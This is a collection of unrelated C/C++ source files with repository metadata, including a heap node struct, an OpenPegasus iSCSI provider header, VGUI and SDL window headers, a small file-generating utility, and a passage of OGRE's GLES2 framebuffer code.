c6b8d8e2a14f877c535ced53caff87d8443d6e49 | ef53d785853cfb6ec73a7559276abe7434b44748 | /Node.h | 4fd825fd9956a2e55df73469e4b2af7def1c9670 | [] | no_license | JacobMarx/Heap | 6c6ad8610c27a400d779b3bce31cd3682b6b0e52 | f62ba8f37b9109f2eedaf3aec7e422ea0ebac832 | refs/heads/master | 2020-05-16T12:09:44.892830 | 2019-05-23T20:45:34 | 2019-05-23T20:45:34 | 183,038,729 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 268 | h | // Created by jacob Marx
#ifndef NODE_H
#define NODE_H
#include <iostream>
struct Node {
Node(int data = 0) {
this->data = data;
left = NULL;
right = NULL;
parent = NULL;
}
int data;
Node* left;
Node* right;
Node* parent;
};
#endif | [
"331733@SHS-10D9C06F2.beaverton.k12.or.us"
] | 331733@SHS-10D9C06F2.beaverton.k12.or.us |
e91e156cb2814cd0ba219f47b2799dc3a32b380c | 9a3b9d80afd88e1fa9a24303877d6e130ce22702 | /src/Providers/UNIXProviders/iSCSIConnection/UNIX_iSCSIConnection.h | a112bf855a825a4a4e74dd5ccbf19714a229e000 | [
"MIT"
] | permissive | brunolauze/openpegasus-providers | 3244b76d075bc66a77e4ed135893437a66dd769f | f24c56acab2c4c210a8d165bb499cd1b3a12f222 | refs/heads/master | 2020-04-17T04:27:14.970917 | 2015-01-04T22:08:09 | 2015-01-04T22:08:09 | 19,707,296 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 12,413 | h | //%LICENSE////////////////////////////////////////////////////////////////
//
// Licensed to The Open Group (TOG) under one or more contributor license
// agreements. Refer to the OpenPegasusNOTICE.txt file distributed with
// this work for additional information regarding copyright ownership.
// Each contributor licenses this file to you under the OpenPegasus Open
// Source License; you may not use this file except in compliance with the
// License.
//
// Permission is hereby granted, free of charge, to any person obtaining a
// copy of this software and associated documentation files (the "Software"),
// to deal in the Software without restriction, including without limitation
// the rights to use, copy, modify, merge, publish, distribute, sublicense,
// and/or sell copies of the Software, and to permit persons to whom the
// Software is furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included
// in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
// IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
// CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
// TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
// SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
//
//////////////////////////////////////////////////////////////////////////
//
//%/////////////////////////////////////////////////////////////////////////
/* **** Version *** */
/*
2.18.1
*/
/* **** UMLPackagePath *** */
/*
CIM::Network::iSCSI
*/
/* **** Description *** */
/*
This class contains the attributes of and negotiated values for, an iSCSI Connection which is modeled as a subclass of NetworkPipe. The original settings that are a starting point for negotiation are found in the class iSCSIConnectionSettings.
*/
/*
*** Properties ***
CIM_ManagedElement:
InstanceID String
Caption String
Description String
ElementName String
Generation UInt64
CIM_ManagedSystemElement:
InstallDate DateTime
Name String
OperationalStatus UInt16
StatusDescriptions String
Status String
HealthState UInt16
CommunicationStatus UInt16
DetailedStatus UInt16
OperatingStatus UInt16
PrimaryStatus UInt16
CIM_LogicalElement:
CIM_EnabledLogicalElement:
EnabledState UInt16
OtherEnabledState String
RequestedState UInt16
EnabledDefault UInt16
TimeOfLastStateChange DateTime
AvailableRequestedStates UInt16
TransitioningToState UInt16
CIM_NetworkPipe:
Directionality UInt16
AggregationBehavior UInt16
UNIX_iSCSIConnection:
ConnectionID UInt32
MaxReceiveDataSegmentLength UInt32
MaxTransmitDataSegmentLength UInt32
HeaderDigestMethod UInt16
OtherHeaderDigestMethod String
DataDigestMethod UInt16
OtherDataDigestMethod String
ReceivingMarkers Boolean
SendingMarkers Boolean
ActiveiSCSIVersion Boolean
AuthenticationMethodUsed UInt16
MutualAuthentication Boolean
*/
/*
*** Methods ***
CIM_ManagedElement:
CIM_ManagedSystemElement:
CIM_LogicalElement:
CIM_EnabledLogicalElement:
RequestStateChange UInt32
CIM_NetworkPipe:
UNIX_iSCSIConnection:
*/
#ifndef __UNIX_ISCSICONNECTION_H
#define __UNIX_ISCSICONNECTION_H
#include "CIM_NetworkPipe.h"
#include <ConcreteJob/UNIX_ConcreteJob.h>
#include "UNIX_iSCSIConnectionDeps.h"
#ifndef PROPERTY_CONNECTION_ID
#define PROPERTY_CONNECTION_ID \
"ConnectionID"
#endif
#ifndef PROPERTY_MAX_RECEIVE_DATA_SEGMENT_LENGTH
#define PROPERTY_MAX_RECEIVE_DATA_SEGMENT_LENGTH \
"MaxReceiveDataSegmentLength"
#endif
#ifndef PROPERTY_MAX_TRANSMIT_DATA_SEGMENT_LENGTH
#define PROPERTY_MAX_TRANSMIT_DATA_SEGMENT_LENGTH \
"MaxTransmitDataSegmentLength"
#endif
#ifndef PROPERTY_HEADER_DIGEST_METHOD
#define PROPERTY_HEADER_DIGEST_METHOD \
"HeaderDigestMethod"
#endif
#ifndef PROPERTY_OTHER_HEADER_DIGEST_METHOD
#define PROPERTY_OTHER_HEADER_DIGEST_METHOD \
"OtherHeaderDigestMethod"
#endif
#ifndef PROPERTY_DATA_DIGEST_METHOD
#define PROPERTY_DATA_DIGEST_METHOD \
"DataDigestMethod"
#endif
#ifndef PROPERTY_OTHER_DATA_DIGEST_METHOD
#define PROPERTY_OTHER_DATA_DIGEST_METHOD \
"OtherDataDigestMethod"
#endif
#ifndef PROPERTY_RECEIVING_MARKERS
#define PROPERTY_RECEIVING_MARKERS \
"ReceivingMarkers"
#endif
#ifndef PROPERTY_SENDING_MARKERS
#define PROPERTY_SENDING_MARKERS \
"SendingMarkers"
#endif
#ifndef PROPERTY_ACTIVEI_S_CS_I_VERSION
#define PROPERTY_ACTIVEI_S_CS_I_VERSION \
"ActiveiSCSIVersion"
#endif
#ifndef PROPERTY_AUTHENTICATION_METHOD_USED
#define PROPERTY_AUTHENTICATION_METHOD_USED \
"AuthenticationMethodUsed"
#endif
#ifndef PROPERTY_MUTUAL_AUTHENTICATION
#define PROPERTY_MUTUAL_AUTHENTICATION \
"MutualAuthentication"
#endif
class UNIX_iSCSIConnection :
public CIM_NetworkPipe
{
public:
UNIX_iSCSIConnection();
~UNIX_iSCSIConnection();
virtual Boolean initialize();
virtual Boolean load(int&);
virtual Boolean loadByName(const String);
virtual Boolean finalize();
virtual Boolean find(const Array<CIMKeyBinding>&);
virtual Boolean validateKey(CIMKeyBinding&) const;
virtual void setScope(CIMName);
virtual void setCIMOMHandle(CIMOMHandle&);
virtual void clearInstance();
virtual Boolean loadInstance(const CIMInstance&);
virtual Boolean createInstance(const OperationContext&);
virtual Boolean modifyInstance(const OperationContext&);
virtual Boolean deleteInstance(const OperationContext&);
virtual Boolean validateInstance();
virtual Boolean getInstanceID(CIMProperty&) const;
virtual String getInstanceID() const;
virtual void setInstanceID(String&);
virtual Boolean getCaption(CIMProperty&) const;
virtual String getCaption() const;
virtual void setCaption(String&);
virtual Boolean getDescription(CIMProperty&) const;
virtual String getDescription() const;
virtual void setDescription(String&);
virtual Boolean getElementName(CIMProperty&) const;
virtual String getElementName() const;
virtual void setElementName(String&);
virtual Boolean getGeneration(CIMProperty&) const;
virtual Uint64 getGeneration() const;
virtual void setGeneration(Uint64&);
virtual Boolean getInstallDate(CIMProperty&) const;
virtual CIMDateTime getInstallDate() const;
virtual void setInstallDate(CIMDateTime&);
virtual Boolean getName(CIMProperty&) const;
virtual String getName() const;
virtual void setName(String&);
virtual Boolean getOperationalStatus(CIMProperty&) const;
virtual Array<Uint16> getOperationalStatus() const;
virtual void setOperationalStatus(Array<Uint16>&);
virtual Boolean getStatusDescriptions(CIMProperty&) const;
virtual Array<String> getStatusDescriptions() const;
virtual void setStatusDescriptions(Array<String>&);
virtual Boolean getStatus(CIMProperty&) const;
virtual String getStatus() const;
virtual void setStatus(String&);
virtual Boolean getHealthState(CIMProperty&) const;
virtual Uint16 getHealthState() const;
virtual void setHealthState(Uint16&);
virtual Boolean getCommunicationStatus(CIMProperty&) const;
virtual Uint16 getCommunicationStatus() const;
virtual void setCommunicationStatus(Uint16&);
virtual Boolean getDetailedStatus(CIMProperty&) const;
virtual Uint16 getDetailedStatus() const;
virtual void setDetailedStatus(Uint16&);
virtual Boolean getOperatingStatus(CIMProperty&) const;
virtual Uint16 getOperatingStatus() const;
virtual void setOperatingStatus(Uint16&);
virtual Boolean getPrimaryStatus(CIMProperty&) const;
virtual Uint16 getPrimaryStatus() const;
virtual void setPrimaryStatus(Uint16&);
virtual Boolean getEnabledState(CIMProperty&) const;
virtual Uint16 getEnabledState() const;
virtual void setEnabledState(Uint16&);
virtual Boolean getOtherEnabledState(CIMProperty&) const;
virtual String getOtherEnabledState() const;
virtual void setOtherEnabledState(String&);
virtual Boolean getRequestedState(CIMProperty&) const;
virtual Uint16 getRequestedState() const;
virtual void setRequestedState(Uint16&);
virtual Boolean getEnabledDefault(CIMProperty&) const;
virtual Uint16 getEnabledDefault() const;
virtual void setEnabledDefault(Uint16&);
virtual Boolean getTimeOfLastStateChange(CIMProperty&) const;
virtual CIMDateTime getTimeOfLastStateChange() const;
virtual void setTimeOfLastStateChange(CIMDateTime&);
virtual Boolean getAvailableRequestedStates(CIMProperty&) const;
virtual Array<Uint16> getAvailableRequestedStates() const;
virtual void setAvailableRequestedStates(Array<Uint16>&);
virtual Boolean getTransitioningToState(CIMProperty&) const;
virtual Uint16 getTransitioningToState() const;
virtual void setTransitioningToState(Uint16&);
virtual Boolean getDirectionality(CIMProperty&) const;
virtual Uint16 getDirectionality() const;
virtual void setDirectionality(Uint16&);
virtual Boolean getAggregationBehavior(CIMProperty&) const;
virtual Uint16 getAggregationBehavior() const;
virtual void setAggregationBehavior(Uint16&);
virtual Boolean getConnectionID(CIMProperty&) const;
virtual Uint32 getConnectionID() const;
virtual void setConnectionID(Uint32&);
virtual Boolean getMaxReceiveDataSegmentLength(CIMProperty&) const;
virtual Uint32 getMaxReceiveDataSegmentLength() const;
virtual void setMaxReceiveDataSegmentLength(Uint32&);
virtual Boolean getMaxTransmitDataSegmentLength(CIMProperty&) const;
virtual Uint32 getMaxTransmitDataSegmentLength() const;
virtual void setMaxTransmitDataSegmentLength(Uint32&);
virtual Boolean getHeaderDigestMethod(CIMProperty&) const;
virtual Uint16 getHeaderDigestMethod() const;
virtual void setHeaderDigestMethod(Uint16&);
virtual Boolean getOtherHeaderDigestMethod(CIMProperty&) const;
virtual String getOtherHeaderDigestMethod() const;
virtual void setOtherHeaderDigestMethod(String&);
virtual Boolean getDataDigestMethod(CIMProperty&) const;
virtual Uint16 getDataDigestMethod() const;
virtual void setDataDigestMethod(Uint16&);
virtual Boolean getOtherDataDigestMethod(CIMProperty&) const;
virtual String getOtherDataDigestMethod() const;
virtual void setOtherDataDigestMethod(String&);
virtual Boolean getReceivingMarkers(CIMProperty&) const;
virtual Boolean getReceivingMarkers() const;
virtual void setReceivingMarkers(Boolean&);
virtual Boolean getSendingMarkers(CIMProperty&) const;
virtual Boolean getSendingMarkers() const;
virtual void setSendingMarkers(Boolean&);
virtual Boolean getActiveiSCSIVersion(CIMProperty&) const;
virtual Boolean getActiveiSCSIVersion() const;
virtual void setActiveiSCSIVersion(Boolean&);
virtual Boolean getAuthenticationMethodUsed(CIMProperty&) const;
virtual Uint16 getAuthenticationMethodUsed() const;
virtual void setAuthenticationMethodUsed(Uint16&);
virtual Boolean getMutualAuthentication(CIMProperty&) const;
virtual Boolean getMutualAuthentication() const;
virtual void setMutualAuthentication(Boolean&);
virtual Uint32 invokeRequestStateChange(
Uint16 &inRequestedState,
CIMInstance &inJob,
CIMDateTime &inTimeoutPeriod
);
private:
CIMName currentScope;
CIMOMHandle _cimomHandle;
String _instanceID;
String _caption;
String _description;
String _elementName;
Uint64 _generation;
CIMDateTime _installDate;
String _name;
Array<Uint16> _operationalStatus;
Array<String> _statusDescriptions;
String _status;
Uint16 _healthState;
Uint16 _communicationStatus;
Uint16 _detailedStatus;
Uint16 _operatingStatus;
Uint16 _primaryStatus;
Uint16 _enabledState;
String _otherEnabledState;
Uint16 _requestedState;
Uint16 _enabledDefault;
CIMDateTime _timeOfLastStateChange;
Array<Uint16> _availableRequestedStates;
Uint16 _transitioningToState;
Uint16 _directionality;
Uint16 _aggregationBehavior;
Uint32 _connectionID;
Uint32 _maxReceiveDataSegmentLength;
Uint32 _maxTransmitDataSegmentLength;
Uint16 _headerDigestMethod;
String _otherHeaderDigestMethod;
Uint16 _dataDigestMethod;
String _otherDataDigestMethod;
Boolean _receivingMarkers;
Boolean _sendingMarkers;
Boolean _activeiSCSIVersion;
Uint16 _authenticationMethodUsed;
Boolean _mutualAuthentication;
# include "UNIX_iSCSIConnectionPrivate.h"
};
#endif /* UNIX_ISCSICONNECTION */
| [
"brunolauze@msn.com"
] | brunolauze@msn.com |
67e33e6ed099ba6989891e5d3052f8f538784610 | 3f3fe8ed4aeb26d721c94517216bf290b8fd9545 | /utils/vgui/include/VGUI_RadioButton.h | 857751d2a8fa02b21d7315034891536c65406cb6 | [] | no_license | tyabus/hlsdk-2.2 | 64790b735a7e4063b16e8dd865813500f5124a7d | be2804d0e61db5fbb721e7da4f5ee904f9bd36b7 | refs/heads/master | 2020-05-05T08:06:06.903826 | 2019-04-07T04:08:29 | 2019-04-07T04:08:29 | 179,850,538 | 3 | 0 | null | null | null | null | WINDOWS-1252 | C++ | false | false | 572 | h | //========= Copyright © 1996-2001, Valve LLC, All rights reserved. ============
//
// Purpose:
//
// $NoKeywords: $
//=============================================================================
#ifndef VGUI_RADIOBUTTON_H
#define VGUI_RADIOBUTTON_H
#include<VGUI.h>
#include<VGUI_ToggleButton.h>
namespace vgui
{
class VGUIAPI RadioButton : public ToggleButton
{
public:
RadioButton(const char* text,int x,int y,int wide,int tall);
RadioButton(const char* text,int x,int y);
protected:
virtual void paintBackground();
};
}
#endif
| [
"tyabustest@gmail.com"
] | tyabustest@gmail.com |
1a52b189fbce58d7df9e7aaa48cf61d481eaf99a | 6bcd0eb0cf8a2ecf4fb60f1a354424ad3e8ce5e7 | /WRLInProcessWinRTComponent/CPP/CPP/Scenario3_CustomException.xaml.cpp | 6efcc687f5f15c83d4cb7288ccf4867fee279603 | [
"MIT"
] | permissive | mhdubose/Windows-universal-samples | 8e0fa492ca624b96f60a28913753066eac8e09f4 | 7c3abf2bc631dccdd19c1a55fc16109c3d3e78d5 | refs/heads/master | 2021-01-14T12:35:20.616148 | 2015-08-27T23:11:19 | 2015-08-27T23:15:06 | 38,263,630 | 0 | 0 | null | 2015-06-29T18:27:38 | 2015-06-29T18:27:37 | null | UTF-8 | C++ | false | false | 1,190 | cpp | //*********************************************************
//
// Copyright (c) Microsoft. All rights reserved.
//
//*********************************************************
#include "pch.h"
#include "Scenario3_CustomException.xaml.h"
#include "MainPage.xaml.h"
#include "..\Server\Microsoft.SDKSamples.Kitchen.h"
using namespace SDKSample;
using namespace SDKSample::WRLInProcessWinRTComponent;
using namespace Microsoft::SDKSamples::Kitchen;
using namespace Windows::UI::Xaml;
using namespace Windows::UI::Xaml::Controls;
CustomException::CustomException()
{
InitializeComponent();
}
void WRLInProcessWinRTComponent::CustomException::Start_Click(Platform::Object^ sender, Windows::UI::Xaml::RoutedEventArgs^ e)
{
// Component Creation
Oven^ myOven = ref new Oven();
try
{
// Intentionally pass an invalid value
myOven->ConfigurePreheatTemperature(static_cast<Microsoft::SDKSamples::Kitchen::OvenTemperature>(5));
}
catch (Platform::InvalidArgumentException^ e)
{
CustomExceptionOutput->Text += L"Exception caught. Please attach a debugger and enable first chance native exceptions to view exception details.\n";
}
}
| [
"IrinVoso@users.noreply.github.com"
] | IrinVoso@users.noreply.github.com |
95c808a67daad07b595ce8b82987c4a95475b63c | fd3e4009313709e106bc69b0277c2404a7a6ae4b | /File Maker Other/File Maker Other.cpp | a75f55de0582a65085d49a7e74e228a62b104673 | [] | no_license | cheeseonhead/HOJProblems | a6c2018cd2fe306cddde141652588c205e6a8265 | 96f2782019349c38bf4a4ee28c00a1ebd901ad93 | refs/heads/master | 2020-04-01T06:56:15.274375 | 2015-03-26T00:14:26 | 2015-03-26T00:14:26 | 32,898,326 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 962 | cpp | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char sec[100],name[100],date[100],fn[100],oj[100],dup[10];
int cnt=0;
puts("Welcome to file maker");
puts("Please enter the Online Judge");
gets(oj);
puts("Please enter the problem number");
gets(name);
puts("If it's a duplicate, enter duplicate number.\nElse enter '/'");
gets(dup);
puts("Please enter the date as 20110101");
gets(date);
sprintf(fn,"%s_%s_%s.in",oj,date,name);
fclose(fopen(fn,"a"));
if(dup[0]=='/'){sprintf(fn,"%s_%s_%s.cpp",oj,date,name);}
else {sprintf(fn,"%s_%s_%s(%s).cpp",oj,date,name,dup);}
fclose(fopen(fn,"a"));
freopen("file maker other.txt","r",stdin);
freopen(fn,"w",stdout);
while(gets(sec))
{
if(strchr(sec,'%')!=NULL)
{
if(cnt==0)sprintf(fn,sec,oj);
if(cnt==1)sprintf(fn,sec,name);
if(cnt==2){sprintf(fn,sec,oj,date,name);cnt--;}
cnt++;
}
else sprintf(fn,sec);
puts(fn);
}
}
| [
"cheeseonhead@gmail.com"
] | cheeseonhead@gmail.com |
f2f640bf09f51784a32cebbb6dc0a44286d8330a | df6a7072020c0cce62a2362761f01c08f1375be7 | /include/oglplus/enums/transform_feedback_primitive_type.ipp | 3dc0ad93b7399c26f4f8db799431ca330b43a298 | [
"BSL-1.0"
] | permissive | matus-chochlik/oglplus | aa03676bfd74c9877d16256dc2dcabcc034bffb0 | 76dd964e590967ff13ddff8945e9dcf355e0c952 | refs/heads/develop | 2023-03-07T07:08:31.615190 | 2021-10-26T06:11:43 | 2021-10-26T06:11:43 | 8,885,160 | 368 | 58 | BSL-1.0 | 2018-09-21T16:57:52 | 2013-03-19T17:52:30 | C++ | UTF-8 | C++ | false | false | 675 | ipp | // File include/oglplus/enums/transform_feedback_primitive_type.ipp
//
// Automatically generated file, DO NOT modify manually.
// Edit the source 'source/enums/oglplus/transform_feedback_primitive_type.txt'
// or the 'source/enums/make_enum.py' script instead.
//
// Copyright 2010-2019 Matus Chochlik.
// Distributed under the Boost Software License, Version 1.0.
// See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt
//
#if OGLPLUS_DOCUMENTATION_ONLY
/// TRIANGLES
Triangles,
/// LINES
Lines,
/// POINTS
Points
#else // !OGLPLUS_DOCUMENTATION_ONLY
#include <oglplus/enums/transform_feedback_primitive_type_def.ipp>
#endif
| [
"chochlik@gmail.com"
] | chochlik@gmail.com |
1979167a46f2e1f1ac180b78f9d918b2f29e8fbf | 833be0f07e316096dd2c73893531d63566cb0e37 | /multicell/multicell/window.h | 17f3028478e0149413a52aa538821fc7301881bc | [] | no_license | xSeditx/Multi_cell-AI | 42f40a4f96c19ea2bede11c031518c09f5bb725c | 07e19d81581b1ef34c7307bce213009d1dd2dca0 | refs/heads/master | 2021-05-14T06:29:29.989724 | 2018-01-04T09:49:34 | 2018-01-04T09:49:34 | 116,242,810 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,804 | h | #pragma once
#define SDL_MAIN_HANDLED
#define _SDL_
#include<sdl.h>
#define Print(x) std::cout << x << std::endl
#define GetRandom( min, max ) ((rand() % (int)(((max) + 1) - (min))) + (min))
#define RANDOM(x) ((rand() * (1.0 / (1.0 + RAND_MAX))) * x)
//#define RGB(r,g,b) ((int)b + ((int)g<< 8) + ((int)r << 16))
#define RGB(r, g, b) (((int)r) << 16 | ((int)g) << 8 | ((int)b))
#define RADIANS(angle) (angle * .0174532925199444)
#define LOOP(x) for(int count = 0; count < x; count++)
#define SCREENWIDTH 680
#define SCREENHEIGHT 460
#define _LOOP_GAME LOOP_GAME() // This is being done for future compatibility with various Graphics Libraries
#define _CLS CLS() //
#define _SYNC SYNC() //
class WINDOW{
public:
WINDOW();~WINDOW();
WINDOW(int,int,int,int,char*);
int X,
Y,
WIDTH,
HEIGHT;
char *TITLE;
SDL_Window *HWND;
SDL_Texture *BACK_BUFFER;
SDL_Renderer *RENDER;
Uint32 *WINDOW_PIXELS;
Uint32 WINDOW_FORMAT;
SDL_Event EVENT;
SDL_Surface *WINDOW_SURFACE;
SDL_PixelFormat *MAPPING_FORMAT;
SDL_Point MOUSE_POSITION;
int FPS;
};
extern WINDOW *SCREEN;
extern void SET_PIXEL (int, int, Uint32);
extern void SET_PIXELII (int, int, Uint32);
extern void SYNC ();
extern void CLS ();
extern bool LOOP_GAME ();
extern bool SET_ACTIVE_WINDOW(WINDOW *active);
extern float NEWX(float x,float dist,float angle);
extern float NEWY(float y,float dist,float angle);
| [
"noreply@github.com"
] | noreply@github.com |
fefcf0160f01950c399304aa88f0e3520a631c3f | 710ac923ad7aaaf3c59882a057a2ebbe159ef135 | /Ogre-1.8rc/RenderSystems/GLES2/src/OgreGLES2FBORenderTexture.cpp | 3242540152f2a4db9b0962e62199ff8c79d3bed3 | [] | no_license | lennonchan/OgreKit | 3e8ec4b0f21653cb668d5cd7d58acc8d45de6a96 | ac5ca9b9731ce5f8eb145e7a8414e781f34057ab | refs/heads/master | 2021-01-01T06:04:40.107584 | 2013-04-19T05:02:42 | 2013-04-19T05:02:42 | 9,538,177 | 1 | 3 | null | null | null | null | UTF-8 | C++ | false | false | 18,624 | cpp | /*
-----------------------------------------------------------------------------
This source file is part of OGRE
(Object-oriented Graphics Rendering Engine)
For the latest info, see http://www.ogre3d.org/
Copyright (c) 2000-2012 Torus Knot Software Ltd
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
-----------------------------------------------------------------------------
*/
#include "OgreGLES2FBORenderTexture.h"
#include "OgreGLES2PixelFormat.h"
#include "OgreLogManager.h"
#include "OgreGLES2HardwarePixelBuffer.h"
#include "OgreGLES2FBOMultiRenderTarget.h"
namespace Ogre {
//-----------------------------------------------------------------------------
GLES2FBORenderTexture::GLES2FBORenderTexture(GLES2FBOManager *manager, const String &name,
const GLES2SurfaceDesc &target, bool writeGamma, uint fsaa):
GLES2RenderTexture(name, target, writeGamma, fsaa),
mFB(manager, fsaa)
{
// Bind target to surface 0 and initialise
mFB.bindSurface(0, target);
GL_CHECK_ERROR;
// Get attributes
mWidth = mFB.getWidth();
mHeight = mFB.getHeight();
}
void GLES2FBORenderTexture::getCustomAttribute(const String& name, void* pData)
{
if(name=="FBO")
{
*static_cast<GLES2FrameBufferObject **>(pData) = &mFB;
}
}
void GLES2FBORenderTexture::swapBuffers(bool waitForVSync)
{
mFB.swapBuffers();
}
//-----------------------------------------------------------------------------
bool GLES2FBORenderTexture::attachDepthBuffer( DepthBuffer *depthBuffer )
{
bool result;
if( (result = GLES2RenderTexture::attachDepthBuffer( depthBuffer )) )
mFB.attachDepthBuffer( depthBuffer );
return result;
}
//-----------------------------------------------------------------------------
void GLES2FBORenderTexture::detachDepthBuffer()
{
mFB.detachDepthBuffer();
GLES2RenderTexture::detachDepthBuffer();
}
//-----------------------------------------------------------------------------
void GLES2FBORenderTexture::_detachDepthBuffer()
{
mFB.detachDepthBuffer();
GLES2RenderTexture::_detachDepthBuffer();
}
/// Size of probe texture
#define PROBE_SIZE 16
/// Stencil and depth formats to be tried
static const GLenum stencilFormats[] =
{
GL_NONE, // No stencil
#if GL_OES_stencil1
GL_STENCIL_INDEX1_OES,
#endif
#if GL_OES_stencil4
GL_STENCIL_INDEX4_OES,
#endif
GL_STENCIL_INDEX8
};
static const size_t stencilBits[] =
{
0,
#if GL_OES_stencil1
1,
#endif
#if GL_OES_stencil4
4,
#endif
8
};
#define STENCILFORMAT_COUNT (sizeof(stencilFormats)/sizeof(GLenum))
static const GLenum depthFormats[] =
{
GL_NONE,
GL_DEPTH_COMPONENT16
#if GL_OES_depth24
, GL_DEPTH_COMPONENT24_OES // Prefer 24 bit depth
#endif
#if GL_OES_depth32
, GL_DEPTH_COMPONENT32_OES
#endif
#if GL_OES_packed_depth_stencil
, GL_DEPTH24_STENCIL8_OES // Packed depth / stencil
#endif
};
static const size_t depthBits[] =
{
0,16
#if GL_OES_depth24
,24
#endif
#if GL_OES_depth32
,32
#endif
#if GL_OES_packed_depth_stencil
,24
#endif
};
#define DEPTHFORMAT_COUNT (sizeof(depthFormats)/sizeof(GLenum))
GLES2FBOManager::GLES2FBOManager()
{
detectFBOFormats();
glGenFramebuffers(1, &mTempFBO);
GL_CHECK_ERROR;
}
GLES2FBOManager::~GLES2FBOManager()
{
if(!mRenderBufferMap.empty())
{
LogManager::getSingleton().logMessage("GL ES 2: Warning! GLES2FBOManager destructor called, but not all renderbuffers were released.");
}
glDeleteFramebuffers(1, &mTempFBO);
GL_CHECK_ERROR;
}
/** Try a certain FBO format, and return the status. Also sets mDepthRB and mStencilRB.
@returns true if this combo is supported
false if this combo is not supported
*/
GLuint GLES2FBOManager::_tryFormat(GLenum depthFormat, GLenum stencilFormat)
{
GLuint status, depthRB = 0, stencilRB = 0;
if(depthFormat != GL_NONE)
{
/// Generate depth renderbuffer
glGenRenderbuffers(1, &depthRB);
/// Bind it to FBO
glBindRenderbuffer(GL_RENDERBUFFER, depthRB);
/// Allocate storage for depth buffer
glRenderbufferStorage(GL_RENDERBUFFER, depthFormat,
PROBE_SIZE, PROBE_SIZE);
/// Attach depth
glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_DEPTH_ATTACHMENT, GL_RENDERBUFFER, depthRB);
}
// Stencil buffers aren't available on iOS
if(stencilFormat != GL_NONE)
{
/// Generate stencil renderbuffer
glGenRenderbuffers(1, &stencilRB);
/// Bind it to FBO
glBindRenderbuffer(GL_RENDERBUFFER, stencilRB);
/// Allocate storage for stencil buffer
glRenderbufferStorage(GL_RENDERBUFFER, stencilFormat, PROBE_SIZE, PROBE_SIZE);
/// Attach stencil
glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_STENCIL_ATTACHMENT,
GL_RENDERBUFFER, stencilRB);
}
status = glCheckFramebufferStatus(GL_FRAMEBUFFER);
/// If status is negative, clean up
// Detach and destroy
glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_DEPTH_ATTACHMENT, GL_RENDERBUFFER, 0);
glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_STENCIL_ATTACHMENT, GL_RENDERBUFFER, 0);
if (depthRB)
glDeleteRenderbuffers(1, &depthRB);
if (stencilRB)
glDeleteRenderbuffers(1, &stencilRB);
return status == GL_FRAMEBUFFER_COMPLETE;
}
/** Try a certain packed depth/stencil format, and return the status.
@returns true if this combo is supported
false if this combo is not supported
*/
bool GLES2FBOManager::_tryPackedFormat(GLenum packedFormat)
{
GLuint packedRB;
/// Generate renderbuffer
glGenRenderbuffers(1, &packedRB);
/// Bind it to FBO
glBindRenderbuffer(GL_RENDERBUFFER, packedRB);
/// Allocate storage for buffer
glRenderbufferStorage(GL_RENDERBUFFER, packedFormat, PROBE_SIZE, PROBE_SIZE);
/// Attach depth
glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_DEPTH_ATTACHMENT,
GL_RENDERBUFFER, packedRB);
/// Attach stencil
glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_STENCIL_ATTACHMENT,
GL_RENDERBUFFER, packedRB);
GLuint status = glCheckFramebufferStatus(GL_FRAMEBUFFER);
/// Detach and destroy
glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_DEPTH_ATTACHMENT, GL_RENDERBUFFER, 0);
glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_STENCIL_ATTACHMENT, GL_RENDERBUFFER, 0);
glDeleteRenderbuffers(1, &packedRB);
return status == GL_FRAMEBUFFER_COMPLETE;
}
/** Detect which internal formats are allowed as RTT
Also detect what combinations of stencil and depth are allowed with this internal
format.
*/
void GLES2FBOManager::detectFBOFormats()
{
// Try all formats, and report which ones work as target
GLuint fb, tid;
GLenum target = GL_TEXTURE_2D;
for(size_t x=0; x<PF_COUNT; ++x)
{
mProps[x].valid = false;
// Fetch GL format token
GLint fmt = GLES2PixelUtil::getGLInternalFormat((PixelFormat)x);
if((fmt == GL_NONE) && (x != 0))
continue;
// No test for compressed formats
if(PixelUtil::isCompressed((PixelFormat)x))
continue;
// Create and attach framebuffer
glGenFramebuffers(1, &fb);
glBindFramebuffer(GL_FRAMEBUFFER, fb);
if (fmt != GL_NONE)
{
// Create and attach texture
glGenTextures(1, &tid);
